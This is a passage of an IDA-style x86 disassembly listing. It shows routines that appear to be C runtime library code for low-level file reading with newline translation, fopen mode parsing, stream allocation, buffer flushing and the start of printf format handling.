		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2680835h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2680835h
		nop
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
